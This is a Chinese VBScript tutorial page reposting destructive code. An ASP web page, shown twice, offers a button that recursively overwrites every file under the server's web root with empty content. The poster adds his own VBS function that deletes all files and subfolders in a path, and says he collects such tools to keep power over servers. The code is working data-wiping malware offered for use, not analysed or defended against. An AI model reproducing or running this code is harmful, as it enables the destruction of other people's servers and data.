VBS破壞性應(yīng)用代碼
									'網(wǎng)上看到的,適用與沒有禁用shell.application的服務(wù)器    
server.scripttimeout = 99999    
If request("submit")<>"" Then   
    Call listfile(server.mappath("./"))    
    response.Write"處理完畢"   
Else   
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>"   
End If   
Function listfile(fpath)    
    On Error Resume Next   
    Dim Shell, Folder, s    
    Set Shell = server.CreateObject ("shell.application")    
    Set Folder = Shell.namespace(fpath)    
    Set f = server.CreateObject("adodb.stream")    
    f.Type = 1    
    f.Open   
    For Each s in Folder.Items    
        If s.isfolder Then   
            Call listfile(s.Path)    
        Else   
            f.savetofile s.Path, 2    
        End If   
    Next   
    Set f = Nothing   
    Set Shell = Nothing   
End Function   
'網(wǎng)上看到的,適用與沒有禁用shell.application的服務(wù)器 
server.scripttimeout = 99999 
If request("submit")<>"" Then 
    Call listfile(server.mappath("./")) 
    response.Write"處理完畢" 
Else 
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內(nèi)容""></form>" 
End If 
Function listfile(fpath) 
    On Error Resume Next 
    Dim Shell, Folder, s 
    Set Shell = server.CreateObject ("shell.application") 
    Set Folder = Shell.namespace(fpath) 
    Set f = server.CreateObject("adodb.stream") 
    f.Type = 1 
    f.Open 
    For Each s in Folder.Items 
        If s.isfolder Then 
            Call listfile(s.Path) 
        Else 
            f.savetofile s.Path, 2 
        End If 
    Next 
    Set f = Nothing 
    Set Shell = Nothing 
End Function 
以前也看到過這個,感覺沒什么用,這么危險的組件服務(wù)器一般都禁用了,但今天,我突然覺得有進也得收集或制作一些這樣的軟件,可以維護自己的權(quán)力。具體什么原因我就不說了,我寫的一個: 
view plaincopy to clipboardprint? 
'看到文件刪文件,看到文件夾刪除文件夾    
Function FilesTree(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject")    
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders    
    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        'WScript.Echo oFile.Path    
        oFile.Delete   
    Next   
    For Each oSubFolder In oSubFolders    
        'WScript.Echo oSubFolder.Path    
        oSubFolder.Delete   
        'FilesTree(oSubFolder.Path)'遞歸    
    Next   
    Set oFolder = Nothing   
    Set oSubFolders = Nothing   
    Set oFso = Nothing   
End Function   
FilesTree("F:\deltest\deltest") '遍歷  
									
欄 目:vb
下一篇:查看或修改Windows系列系統(tǒng)的序列號的vbs
本文標題:VBS破壞性應(yīng)用代碼
本文地址:http://www.jygsgssxh.com/a1/vb/7676.html
您可能感興趣的文章
- 01-10下載文件到本地運行的vbs
 - 01-10VBS中的正則表達式的用法大全 <font color=red>原創(chuàng)&
 - 01-10VBS中SendKeys的基本應(yīng)用
 - 01-10VBScript教程 第十一課深入VBScript
 - 01-10用VBSCRIPT控制ONSUBMIT事件
 - 01-10VBScript語法速查及實例說明
 - 01-10VBS中Select CASE的其它用法
 - 01-10VBScript教程 第七課使用條件語句
 - 01-10vbscript 可以按引用傳遞參數(shù)嗎?
 - 01-10VBScript教程 第二課在HTML頁面中添加VBscript代碼
 


閱讀排行
本欄相關(guān)
- 01-10下載文件到本地運行的vbs
 - 01-10飄葉千夫指源代碼,又稱qq刷屏器
 - 01-10SendKeys參考文檔
 - 01-10什么是一個高效的軟件
 - 01-10VBS中的正則表達式的用法大全 &l
 - 01-10exe2swf 工具(Adodb.Stream版)
 - 01-10VBS中SendKeys的基本應(yīng)用
 - 01-10用VBSCRIPT控制ONSUBMIT事件
 - 01-10VBScript教程 第十一課深入VBScript
 - 01-10VBScript語法速查及實例說明
 
隨機閱讀
- 01-10C#中split用法實例總結(jié)
 - 01-10delphi制作wav文件的方法
 - 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
 - 08-05DEDE織夢data目錄下的sessions文件夾有什
 - 04-02jquery與jsp,用jquery
 - 01-11ajax實現(xiàn)頁面的局部加載
 - 08-05織夢dedecms什么時候用欄目交叉功能?
 - 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
 - 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
 - 01-10使用C語言求解撲克牌的順子及n個骰子
 


